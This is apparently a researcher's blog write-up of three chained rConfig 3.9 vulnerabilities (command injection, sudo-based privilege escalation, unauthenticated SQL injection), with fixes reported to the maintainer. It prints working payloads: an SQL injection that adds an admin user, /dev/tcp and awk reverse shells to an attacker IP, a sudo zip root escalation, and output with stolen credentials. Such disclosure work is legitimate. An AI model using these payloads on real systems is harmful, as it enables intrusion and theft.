Menu
Rconfig - From zero to (root)shell

Rconfig - From zero to (root)shell

Looking at the Rconfig 3.9 source code lead to find several security bugs which can be chained in order to get unauthenticated (root) remote code execution.

Overview

While I was preparing OSCE exam I decided to “take a break” (temporarily stop using debuggers and doing some web exploit). Regarding this web application, here is the project summary :

rConfig is an open source network device configuration management utility for network engineers to take frequent configuration snapshots of their network devices.

Looking at the Rconfig web page, it seems this network management is used by many customers (probably more on internal networks than Internet).

Rconfig website

I can’t tell it was a code audit, my approach was more a “quick and dirty” security evaluation but it gave some interesting results…

CVE-2019-19509 : authenticated RCE

I always remember that grep is a good friend when looking at source code. Rconfig is a PHP web application so I looked for interesting functions :

  $ git clone https://github.com/rconfig/rconfig.git
  $ cd rconfig
  $ grep -Hira 'exec\|passthru\|popen\|proc_open\|shell_exec\|system\|call_user_func'  .

Rconfig rce grep

I notice that several command execution functions are used and I focus on the www/lib/ajaxHandlers/ directory because the web pages can be reached directly by a web client request. Maybe those variables can be controlled somehow by an attacker ? Yes it is ! By looking at the ajaxArchiveFiles.php page, I can see that once authenticated, I can play with the path value.

Rconfig rce source

Please note the command being executed : sudo -u apache zip (we will use this detail later). Well it’s time to make a PoC about this, doing the universal ping command.

Rconfig rce source Rconfig rce source

I sent all those details to Stephen (Rconfig project leader), suggesting the following fix :

  $ diff ajaxArchiveFiles.php ajaxArchiveFiles.php.fix 
  13c13
  <     $mainPath = $_GET['path'];
  ---
  >     $mainPath = escapeshellarg($_GET['path']);
  15c15
  <     $ext = "*." . $_GET['ext'];
  ---
  >     $ext = "*." . escapeshellarg($_GET['ext']);

I published a PoC allowing to compromise easily targets. The source code is also available on Exploit DB.

CVE-2019-19585 : Local Privilege Escalation (root)

This vulnerability was found using my big grep skills again. In the previous chapter I found the RCE but validating it needs me to install the Rconfig using the official manual.

Rconfig rce source

I wanted to know how the application is installed : in the above install_rConfig.sh script, I noticed the final install script I wanted to look at : centos7_install.sh.

  $ grep curl install_rConfig.sh 
  curl -O https://www.rconfig.com/downloads/scripts/centos7_install.sh -A "Mozilla"  >> $LOGFILE 2>&1
  curl -O https://www.rconfig.com/downloads/scripts/centos6_install.sh -A "Mozilla" >> $LOGFILE 2>&1

My conclusion was : ok, in the default install I can get root if I have a web shell, that is, a shell running with apache user rights. Hmmm. Let’s test it with the RCE I already have ! There are so many ways to elevate your privileges on Linux that I had to choose the right one : I decided to use the zip technique because I know that rConfig use it (cf. the chapter above) so I can expect this binary to be installed on the target.

  bash-4.2$ touch /tmp/LPE.txt
  bash-4.2$ sudo zip -q /tmp/LPE.zip /tmp/LPE.txt -T -TT '/bin/sh #'
  bash-4.2# id
  bash-4.2# uid=0(root) gid=48(apache) groups=48(apache)

I contacted Stephen again, suggesting the following options :

  • Option 1 : adjust permissions on files / directories in order to make apache able to handle it
  • Option 2 : remove apache related configuration from /etc/sudoers file
  • Option 3 : Use capabilities
  USER="rconfig" 
  BINPATH="/usr/bin/rconfig" 
  chown "${USER}" "${BINPATH} " 
  chmod 0500 "${BINPATH} " 
  setcap CAP_DAC_OVERRIDE=+ep "${BINPATH}"

As usual PoC or GTFO, I published some examples (zip, crontab, chmod…) to elevate to root when you used the previous RCE vulnerability.

CVE-2020-10220 : unauthenticated SQLi

Here I am : I can get a shell and elevate to root but I need to be authenticated :-(

Frustrating isn’t it ?

Why not spending some additional efforts to bypass this constraint ? Huge grep skills back again (hahaha) : I filtered out all pages where authentication checks are done then I focused on functions reachable without authentication. There are many ways to bypass authentication in a webapp, but while I was reading Rconfig source code I noticed that point in the commands.inc.php : several parameters can be used to inject SQL, I choosed the searchColumn one because it is controlled (client side), and is used without any filter in the following SQL query.

Rconfig rce source

Keep it simple, I used stacked queries to exploit this. I created a simple proof of concept (the source code is also available on Exploit DB) which extracts some data (login/password and network devices IP addresses) from the database.

  $ python3 rconfig_sqli.py https://1.1.1.1
  rconfig 3.9 - SQL Injection PoC
  [+] Triggering the payloads on https://1.1.1.1/commands.inc.php
  [+] Extracting the current DB name :
  rconfig2
  [+] Extracting 10 first users :
  admin:1:63a9f0ea7bb98050796b649e85481845
  Maybe no more information ?
  Maybe no more information ?
  [snip]
  [+] Extracting 10 first devices :
  127-0-0-1:127.0.0.1::ocdvulnpass:
  deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret
  Maybe no more information ?
  Maybe no more information ?
  [snip]
  Done

Exploit chaining aka “press Enter and get root”

Nothing new here but we can chain vulnerabilities to decrease difficulty of server compromise. Here is the plan :

  • Adding a temporary admin user (using SQLi)
  fake_user = generateUsername(10)
  fake_pass_md5 = "21232f297a57a5a743894a0e4a801fc3" # hash of 'admin'
  addUserPayload="%20;
     INSERT%20INTO%20`users`%20
    (`id`,%20`username`,%20`password`,%20`userid`,%20`userlevel`,%20`email`,%20`timestamp`,%20`status`)
    %20VALUES%20
    ("+fake_id+",%20'"+fake_user+"',%20'"+fake_pass_md5+"',%20'"+fake_userid_md5+"',%209,%20'"+fake_user+"@domain.com',%201346920339,%201)
    ;--"
  • Authenticating as this new admin and trigger the code execution (using RCE) and get root (using LPE)
  payload = ''' 
  `touch /tmp/.'''+fake_user+'''.txt;
  sudo zip -q /tmp/.'''+fake_user+'''.zip /tmp/.'''+fake_user+'''.txt -T -TT 
  '/bin/sh -i>& /dev/tcp/{0}/{1} 0>&1 #'` 
  '''.format(ip, port)

That’s it ! Here is an example on how to get a reverse rootshell :

  $ python3  rconfig_root_RCE_unauth_final.py http://1.1.1.1 1.1.1.2 3334
  rConfig - 3.9 - Unauthenticated root RCE
  [+] Adding a temporary admin user...
  [+] Authenticating as dywzxuvbah...
  [+] Logged in successfully, triggering the payload...
  [+] Check your listener !
  [+] The reverse shell seems to be opened :-)
  [+] Removing the temporary admin user...
  [+] Done.

  $ nc -nvlp 3334
  listening on [any] 3334 ...
  connect to [1.1.1.2] from (UNKNOWN) [1.1.1.1] 46186
  sh: no job control in this shell
  sh-4.2# id
  id
  uid=0(root) gid=0(root) groups=0(root)
  sh-4.2# 

You can find the final exploit here or on Exploit DB.

Automate vulnerability check & exploit : developing a metasploit module

During engagments I sometime use Metasploit to automate / ease a task. I never coded a MSF module before, I thought it can be a good experience and be useful for automated tests.

I didn’t know Ruby language before and it was quite confused when starting at coding. Fortunatly the project has a very good documentation which explains how to start and provides enough templates. Writing a module is out of scope of this blogpost but here is some advices if you want to contribute :

  • RFTM
  • use the provided template
  • step back, think about all the situations and targets (OS, webservers, etc) your exploit will deal with
  • submit your pull request

For me the last point was a scary thing because you know, Metasploit is famous in offensive security world and I was in some doubt that I can submit a PR for this project. But I was positively surprised by the dev team (greetz to adfoster) : all comments and reviews are caring and my module was eventually merged in this tool.

Description:
  This module exploits multiple vulnerabilities in rConfig version 3.9 
  in order to execute arbitrary commands. This module takes advantage 
  of a command injection vulnerability in the `path` parameter of the 
  ajax archive file functionality within the rConfig web interface in 
  order to execute the payload. Valid credentials for a user with 
  administrative privileges are required. However, this module can 
  bypass authentication via SQLI. This module has been successfully 
  tested on Rconfig 3.9.3 and 3.9.4. The steps are: 1. SQLi on 
  /commands.inc.php allows us to add an administrative user. 2. An 
  authenticated session is established with the newly added user 3. 
  Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows 
  us to execute the payload. 4. Remove the added admin user. Tips : 
  once you get a shell, look at the CVE-2019-19585. You will probably 
  get root because rConfig install script add Apache user to sudoers 
  with nopasswd ;-)

It works like a charm :-)

  resource (rconfig_final.rc)> use exploit/linux/http/rconfig_ajaxarchivefiles_rce
  resource (rconfig_final.rc)> set RHOSTS 1.1.1.1
  resource (rconfig_final.rc)> set RPORT 443
  resource (rconfig_final.rc)> set LHOST 1.1.1.2
  resource (rconfig_final.rc)> set LPORT 3333
  resource (rconfig_final.rc)> set verbose true
  resource (rconfig_final.rc)> exploit -j
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.

  [*] Started reverse TCP handler on 1.1.1.2:3333 
  msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce_final) > 
  [*] STEP 0: Get rConfig version...
  [*] rConfig version 3.9 detected
  [*] STEP 1 : Adding a temporary admin user...
  [+] New temporary user ElCWcNJhUId created
  [*] STEP 2: Authenticating as ElCWcNJhUId ...
  [+] Authenticated as user ElCWcNJhUId
  [*] STEP 3: Executing the command (awk 'BEGIN{s="/inet/tcp/0/1.1.1.2/3333";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}')
  [*] Command shell session 1 opened (1.1.1.2:3333 -> 1.1.1.1:39076) at 2020-03-10 15:50:44 +0100
  [+] Command sucessfully executed
  [*] STEP 4 : Removing the temporary admin user...
  [*] User ElCWcNJhUId removed successfully !

  msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce_final) > sessions -i 1
  [*] Starting interaction with 1...

  id
  uid=48(apache) gid=48(apache) groups=48(apache)

The module is already shipped with Metasploit (you can search rconfig or directly use exploit/linux/http/rconfig_ajaxarchivefiles_rce ) but if needed the source code can be downloaded from my github MSF-POC or from Exploit DB.

Conclusion

This post aimed at explaining how chaining vulnerabilities can be useful. When I started this bug hunt I didn’t expect such results, it was both fun and quite challenging : that’s I love in infosec :-)

If you’re interested in hunting vulnerabilities in a web application, I higly recommends the methodology clearly explained by a friend of mine, H4knet, who shared how he found several vulnerabilities in EyesOfNetwork. I also recommend the great post of Guly about other Rconfig vulnerabilities : he gives you many details on his hunting flow, helping to understand the useful mindset needed to find vulnerabilities.

Thanks for reading this, feel free to comment or contact me :-)


viking logo
Author : Viking
Blog author, follow me on twitter